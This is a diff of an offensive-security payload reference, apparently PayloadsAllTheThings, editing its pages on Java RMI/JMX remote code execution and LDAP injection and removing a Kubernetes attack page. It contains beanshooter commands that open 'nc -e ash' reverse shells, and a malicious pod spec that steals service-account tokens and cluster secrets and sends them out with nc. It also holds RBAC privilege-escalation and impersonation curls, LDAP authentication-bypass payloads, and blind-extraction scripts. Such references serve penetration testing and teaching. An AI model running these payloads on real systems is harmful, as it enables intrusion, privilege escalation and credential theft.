- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/) - [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://web.archive.org/web/20211025223311/https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
- [Write up JRR Token LeHack 2019 - 07/07/2019 - LAPHAZE](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/) - [Write up JRR Token LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

View File

@@ -6,22 +6,23 @@
* [Tools](#tools) * [Tools](#tools)
* [Detection](#detection) * [Detection](#detection)
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [RCE using beanshooter](#rce-using-beanshooter) * [RCE using beanshooter](#rce-using-beanshooter)
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet) * [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
* [RCE using Metasploit](#rce-using-metasploit) * [RCE using Metasploit](#rce-using-metasploit)
* [References](#references) * [References](#references)
## Tools ## Tools
- [siberas/sjet](https://github.com/siberas/sjet) * [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
- [mogwailabs/mjet](https://github.com/mogwailabs/mjet) * [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
- [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
- [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool. * [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
## Detection ## Detection
* Using [nmap](https://nmap.org/): * Using [nmap](https://nmap.org/):
```powershell ```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI 1089/tcp open java-rmi Java RMI
@@ -35,32 +36,34 @@
| javax.management.remote.rmi.RMIServerImpl_Stub | javax.management.remote.rmi.RMIServerImpl_Stub
``` ```
* Using [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser): * Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
```bash ```bash
$ rmg scan 172.17.0.2 --ports 0-65535 $ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services. [+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100% [+] [6234 / 6234] [#############################] 100%
[+] Portscan finished. [+] Portscan finished.
$ rmg enum 172.17.0.2 9010 $ rmg enum 172.17.0.2 9010
[+] RMI registry bound names: [+] RMI registry bound names:
[+] [+]
[+] - plain-server2 [+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service [+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server [+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...] [...]
``` ```
* Using Metasploit * Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
```bash ```bash
use auxiliary/scanner/misc/java_rmi_server use auxiliary/scanner/misc/java_rmi_server
set RHOSTS <IPs> set RHOSTS <IPs>
@@ -68,11 +71,10 @@
run run
``` ```
## Exploitation ## Methodology
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies. If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
### RCE using beanshooter ### RCE using beanshooter
* List available attributes: `beanshooter info 172.17.0.2 9010` * List available attributes: `beanshooter info 172.17.0.2 9010`
@@ -83,26 +85,28 @@ If a Java Remote Method Invocation (RMI) service is poorly configured, it become
* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000` * Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090` * Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'` * Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
* Invoke arbitrary public and static Java methods: * Invoke arbitrary public and static Java methods:
```ps1
beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")' ```ps1
beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
``` beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
```
* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'` * Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin` * Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
### RCE using sjet or mjet ### RCE using sjet or mjet
#### Requirements #### Requirements
- Jython * Jython
- The JMX server can connect to a http service that is controlled by the attacker * The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled * JMX authentication is not enabled
#### Remote Command Execution #### Remote Command Execution
The attack involves the following steps: The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans * Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX * Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
* Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file. * Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
@@ -136,6 +140,6 @@ run
## References ## References
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/) * [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://web.archive.org/web/20201024121233/https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
* [JMX RMI MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf) * [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://web.archive.org/web/20250523025328/https://www.exploit-db.com/docs/english/46607-jmx-rmi-%E2%80%93-multiple-applications-remote-code-execution.pdf)
* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal) * [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://web.archive.org/web/20210817144943/https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

View File

@@ -1,303 +0,0 @@
# Kubernetes
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
## Summary
- [Tools](#tools)
- [Container Environment](#container-environment)
- [Information Gathering](#information-gathering)
- [RBAC Configuration](#rbac-configuration)
- [Listing Secrets](#listing-secrets)
- [Access Any Resource or Verb](#access-any-resource-or-verb)
- [Pod Creation](#pod-creation)
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
- [Privileged Service Account Token](#privileged-service-account-token)
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
- [API addresses that you should know](#api-addresses-that-you-should-know)
- [References](#references)
## Tools
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
## Container Environment
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
### Service Account
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
```
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
### Environment Variables
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
```
KUBERNETES_SERVICE_HOST=192.168.154.228
KUBERNETES_SERVICE_PORT=443
```
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
```
REDIS_MASTER_SERVICE_HOST=10.0.0.11
REDIS_MASTER_SERVICE_PORT=6379
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
REDIS_MASTER_PORT_6379_TCP_PORT=6379
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
```
### Simulating `kubectl` API Requests
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
```powershell
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
$ kubectl -v9 auth can-i --list
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
...
```
## Information Gathering
### Service Account Permissions
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
The following can be used to determine the service account's permissions:
```powershell
# Namespace-level permissions using kubectl
kubectl auth can-i --list
# Cluster-level permissions using kubectl
kubectl auth can-i --list --namespace=kube-system
# Permissions list using curl
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
# For cluster-level, use NAMESPACE="kube-system" instead
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
--header "Authorization: Bearer ${TOKEN}" \
--header "Content-Type: application/json" \
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
```
### Secrets, ConfigMaps, and Volumes
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
### Privileged Containers
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
## RBAC Configuration
### Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
```powershell
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Access Any Resource or Verb
```powershell
resources:
- '*'
verbs:
- '*'
```
### Pod Creation
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
Then create a malicious pod.yaml file.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
Then `kubectl apply -f malicious-pod.yaml`
### Privilege to Use Pods/Exec
```powershell
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> - sh
```
### Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.
```powershell
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
```
```powershell
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
### Impersonating a Privileged Account
```powershell
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
## Privileged Service Account Token
```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
```
## Interesting endpoints to reach
```powershell
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```
## API addresses that you should know
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://<IP Address>:4194
```
### Insecure API server
```powershell
curl -k https://<IP Address>:8080
```
### Secure API Server
```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
### etcd API
```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Kubelet API
```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
### kubelet (Read only)
```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2)
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)

View File

@@ -0,0 +1,20 @@
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='ys

View File

@@ -4,18 +4,26 @@
## Summary ## Summary
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Payloads](#payloads) * [Authentication Bypass](#authentication-bypass)
* [Blind Exploitation](#blind-exploitation) * [Blind Exploitation](#blind-exploitation)
* [Defaults attributes](#defaults-attributes) * [Defaults Attributes](#defaults-attributes)
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute) * [Exploiting userPassword Attribute](#exploiting-userpassword-attribute)
* [Scripts](#scripts) * [Scripts](#scripts)
* [Discover valid LDAP fields](#discover-valid-ldap-fields) * [Discover Valid LDAP Fields](#discover-valid-ldap-fields)
* [Special blind LDAP injection](#special-blind-ldap-injection) * [Special Blind LDAP Injection](#special-blind-ldap-injection)
* [Labs](#labs)
* [References](#references)
## Exploitation ## Methodology
Example 1. LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
### Authentication Bypass
Attempt to manipulate the filter logic by injecting always-true conditions.
**Example 1**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
```sql ```sql
user = *)(uid=*))(|(uid=* user = *)(uid=*))(|(uid=*
@@ -23,7 +31,7 @@ pass = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==)) query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
``` ```
Example 2 **Example 2**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
```sql ```sql
user = admin)(!(&(1=0 user = admin)(!(&(1=0
@@ -31,34 +39,9 @@ pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q)))) query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
``` ```
## Payloads ### Blind Exploitation
```text This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```
## Blind Exploitation
We can extract using a bypass login
```sql ```sql
(&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=*)) : OK
@@ -78,7 +61,13 @@ We can extract using a bypass login
(&(sn=administrator)(password=MYKE)) : OK (&(sn=administrator)(password=MYKE)) : OK
``` ```
## Defaults attributes **LDAP Filter Breakdown**:
* `&`: Logical AND operator, meaning all conditions inside must be true.
* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
## Defaults Attributes
Can be used in an injection like `*)(ATTRIBUTE_HERE=*` Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
@@ -94,7 +83,7 @@ givenName
commonName commonName
``` ```
## Exploiting userPassword attribute ## Exploiting userPassword Attribute
`userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING `userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18). In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
@@ -109,23 +98,20 @@ userPassword:2.5.13.18:=\xx\xx\xx
## Scripts ## Scripts
### Discover valid LDAP fields ### Discover Valid LDAP Fields
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
import string import string
fields = [] fields = []
url = 'https://URL.com/' url = 'https://URL.com/'
f = open('dic', 'r')
f = open('dic', 'r') #Open the wordlists of common attributes world = f.read().split('\n')
wordl = f.read().split('\n')
f.close() f.close()
for i in wordl: for i in world:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla)) r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text: if 'TRUE CONDITION' in r.text:
fields.append(str(i)) fields.append(str(i))
@@ -133,13 +119,10 @@ for i in wordl:
print(fields) print(fields)
``` ```
Ref. [5][5] ### Special Blind LDAP Injection
### Special blind LDAP injection (without "*")
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests, string import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
@@ -154,16 +137,14 @@ for i in range(50):
break break
``` ```
Ref. [5][5] Exploitation script by [@noraj](https://github.com/noraj)
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
require 'net/http' require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('') alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = '' flag = ''
(0..50).each do |i| (0..50).each do |i|
puts("[i] Looking for number #{i}") puts("[i] Looking for number #{i}")
alphabet.each do |char| alphabet.each do |char|
@@ -177,21 +158,17 @@ flag = ''
end end
``` ```
By [noraj](https://github.com/noraj) ## Labs
* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
## References ## References
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) * [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) * [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://web.archive.org/web/20200924103615/https://0xukn.fr/posts/writeupecw2018admyssion/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/) * [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://web.archive.org/web/20260119175101/https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/) * [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://web.archive.org/web/20160305121823/https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities) * [LDAP Blind Explorer - Alonso Parada - August 12, 2011](https://web.archive.org/web/20160120073444/https://code.google.com/p/ldap-blind-explorer/)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks) * [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://web.archive.org/web/20081010181534/http://blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
* SSH key authentication via LDAP * [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://web.archive.org/web/20190719164052/https://www.owasp.org/index.php/LDAP_injection)
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
